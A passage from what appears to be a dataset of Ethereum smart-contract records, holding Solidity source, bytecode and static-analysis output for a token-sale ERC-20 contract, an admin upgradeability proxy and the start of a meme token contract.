ongoing"); _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { //require(!_tokenSaleMode || msg.sender == governance, "token sale is ongoing"); require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { //require(!_tokenSaleMode || msg.sender == governance, "token sale is ongoing"); callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { //require(!_tokenSaleMode || msg.sender == governance, "token sale is ongoing"); callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract JustSwapToken is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint; uint256 public tokenSalePrice = 0.00005 ether; bool public _tokenSaleMode = true; address public governance; mapping (address => bool) public minters; constructor () public ERC20Detailed("JustSwapToken", "JST", 18) { governance = msg.sender; minters[msg.sender] = true; } function mint(address account, uint256 amount) public { require(minters[msg.sender], "!minter"); _mint(account, amount); } function burn(uint256 amount) public { _burn(msg.sender, amount); } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function addMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = true; } function removeMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = false; } function buyToken() public payable { require(_tokenSaleMode, "token sale is over"); uint256 newTokens = SafeMath.mul(SafeMath.div(msg.value, tokenSalePrice),1e18); _mint(msg.sender, newTokens); } function() external payable { buyToken(); } function endTokenSale() public { require(msg.sender == governance, "!governance"); _tokenSaleMode = false; } function withdraw() external { require(msg.sender == governance, "!governance"); msg.sender.transfer(address(this).balance); } }
0x6080604052600436106101405760003560e01c80635aa6e675116100b6578063a9059cbb1161006f578063a9059cbb14610494578063ab033ea9146104cd578063dd62ed3e14610500578063e55bfd161461053b578063e86790eb14610550578063f46eccc41461056557610140565b80635aa6e675146103af57806370a08231146103e057806395d89b4114610413578063983b2d5614610428578063a457c2d71461045b578063a48217191461014057610140565b80633092afd5116101085780633092afd5146102a0578063313ce567146102d357806339509351146102fe5780633ccfd60b1461033757806340c10f191461034c57806342966c681461038557610140565b806306fdde031461014a578063095ea7b3146101d457806318160ddd1461022157806323b872dd14610248578063307edff81461028b575b610148610598565b005b34801561015657600080fd5b5061015f610612565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610199578181015183820152602001610181565b50505050905090810190601f1680156101c65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e057600080fd5b5061020d600480360360408110156101f757600080fd5b506001600160a01b0381351690602001356106a8565b604080519115158252519081900360200190f35b34801561022d57600080fd5b506102366106c6565b60408051918252519081900360200190f35b34801561025457600080fd5b5061020d6004803603606081101561026b57600080fd5b506001600160a01b038135811691602081013590911690604001356106cc565b34801561029757600080fd5b50610148610759565b3480156102ac57600080fd5b50610148600480360360208110156102c357600080fd5b50356001600160a01b03166107b7565b3480156102df57600080fd5b506102e861082a565b6040805160ff9092168252519081900360200190f35b34801561030a57600080fd5b5061020d6004803603604081101561032157600080fd5b506001600160a01b038135169060200135610833565b34801561034357600080fd5b50610148610887565b34801561035857600080fd5b506101486004803603604081101561036f57600080fd5b506001600160a01b038135169060200135610905565b34801561039157600080fd5b50610148600480360360208110156103a857600080fd5b5035610961565b3480156103bb57600080fd5b506103c461096b565b604080516001600160a01b039092168252519081900360200190f35b3480156103ec57600080fd5b506102366004803603602081101561040357600080fd5b50356001600160a01b031661097f565b34801561041f57600080fd5b5061015f61099a565b34801561043457600080fd5b506101486004803603602081101561044b57600080fd5b50356001600160a01b03166109fb565b34801561046757600080fd5b5061020d6004803603604081101561047e57600080fd5b506001600160a01b038135169060200135610a71565b3480156104a057600080fd5b5061020d600480360360408110156104b757600080fd5b506001600160a01b038135169060200135610adf565b3480156104d957600080fd5b50610148600480360360208110156104f057600080fd5b50356001600160a01b0316610af3565b34801561050c57600080fd5b506102366004803603604081101561052357600080fd5b506001600160a01b0381358116916020013516610b6d565b34801561054757600080fd5b5061020d610b98565b34801561055c57600080fd5b50610236610ba1565b34801561057157600080fd5b5061020d6004803603602081101561058857600080fd5b50356001600160a01b0316610ba7565b60075460ff166105e4576040805162461bcd60e51b81526020600482015260126024820152713a37b5b2b71039b0b6329034b99037bb32b960711b604482015290519081900360640190fd5b60006106036105f534600654610bbc565b670de0b6b3a7640000610c05565b905061060f3382610c5e565b50565b60038054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561069e5780601f106106735761010080835404028352916020019161069e565b820191906000526020600020905b81548152906001019060200180831161068157829003601f168201915b5050505050905090565b60006106bc6106b5610d4e565b8484610d52565b5060015b92915050565b60025490565b60006106d9848484610e3e565b61074f846106e5610d4e565b61074a856040518060600160405280602881526020016112dd602891396001600160a01b038a16600090815260016020526040812090610723610d4e565b6001600160a01b03168152602081019190915260400160002054919063ffffffff610f9a16565b610d52565b5060019392505050565b60075461010090046001600160a01b031633146107ab576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6007805460ff19169055565b60075461010090046001600160a01b03163314610809576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6001600160a01b03166000908152600860205260409020805460ff19169055565b60055460ff1690565b60006106bc610840610d4e565b8461074a8560016000610851610d4e565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff61103116565b60075461010090046001600160a01b031633146108d9576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b60405133904780156108fc02916000818181858888f1935050505015801561060f573d6000803e3d6000fd5b3360009081526008602052604090205460ff16610953576040805162461bcd60e51b815260206004820152600760248201526610b6b4b73a32b960c91b604482015290519081900360640190fd5b61095d8282610c5e565b5050565b61060f338261108b565b60075461010090046001600160a01b031681565b6001600160a01b031660009081526020819052604090205490565b60048054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561069e5780601f106106735761010080835404028352916020019161069e565b60075461010090046001600160a01b03163314610a4d576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6001600160a01b03166000908152600860205260409020805460ff19166001179055565b60006106bc610a7e610d4e565b8461074a8560405180606001604052806025815260200161136f6025913960016000610aa8610d4e565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff610f9a16565b60006106bc610aec610d4e565b8484610e3e565b60075461010090046001600160a01b03163314610b45576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600780546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60075460ff1681565b60065481565b60086020526000908152604090205460ff1681565b6000610bfe83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611187565b9392505050565b600082610c14575060006106c0565b82820282848281610c2157fe5b0414610bfe5760405162461bcd60e51b81526004018080602001828103825260218152602001806112bc6021913960400191505060405180910390fd5b6001600160a01b038216610cb9576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600254610ccc908263ffffffff61103116565b6002556001600160a01b038216600090815260208190526040902054610cf8908263ffffffff61103116565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b3390565b6001600160a01b038316610d975760405162461bcd60e51b815260040180806020018281038252602481526020018061134b6024913960400191505060405180910390fd5b6001600160a01b038216610ddc5760405162461bcd60e51b81526004018080602001828103825260228152602001806112746022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610e835760405162461bcd60e51b81526004018080602001828103825260258152602001806113266025913960400191505060405180910390fd5b6001600160a01b038216610ec85760405162461bcd60e51b815260040180806020018281038252602381526020018061122f6023913960400191505060405180910390fd5b610f0b81604051806060016040528060268152602001611296602691396001600160a01b038616600090815260208190526040902054919063ffffffff610f9a16565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610f40908263ffffffff61103116565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156110295760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610fee578181015183820152602001610fd6565b50505050905090810190601f16801561101b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610bfe576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b0382166110d05760405162461bcd60e51b81526004018080602001828103825260218152602001806113056021913960400191505060405180910390fd5b61111381604051806060016040528060228152602001611252602291396001600160a01b038516600090815260208190526040902054919063ffffffff610f9a16565b6001600160a01b03831660009081526020819052604090205560025461113f908263ffffffff6111ec16565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600081836111d65760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610fee578181015183820152602001610fd6565b5060008385816111e257fe5b0495945050505050565b6000610bfe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f9a56fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a723158201d587e7323e4471c178dfcfa9176a42475d8dc8b994b63ac1ed9953227ca334a64736f6c63430005100032
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
4,807
0x890c41E504b3313D0444c6f65EF44F144417fA5a
// SPDX-License-Identifier: MIT pragma solidity ^0.6.12; /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal virtual view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } // File: @openzeppelin/contracts/utils/Address.sol /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: contracts/proxy/UpgradeabilityProxy.sol /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } // File: contracts/proxy/AdminUpgradeabilityProxy.sol /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override virtual { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } }
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a26469706673582212202616ffc972c281b30c49af0074cde1e9f2a593ec6bce933cc48fcfea429790cc64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
4,808
0xfc09c7cfd9c175dd9423ca02ae1249579ab12f12
/** Totoro Inu - ERC-20 token Lets make Totoro as the mascot of ETH universe. https://t.me/TotoroInu */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract TotoroInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 1; uint256 private _feeAddr2 = 10; address payable private _feeAddrWallet1 = payable(0x09099BBa443a2DBD22fCD279702609faF4929B61); address payable private _feeAddrWallet2 = payable(0x9B1B95240D8388836D8c118Bf3113F3B5eFDb9Ba); string private constant _name = "Totoro Inu"; string private constant _symbol = "Totoro"; uint8 private constant _decimals = 9; IUniswapV2Router02 private 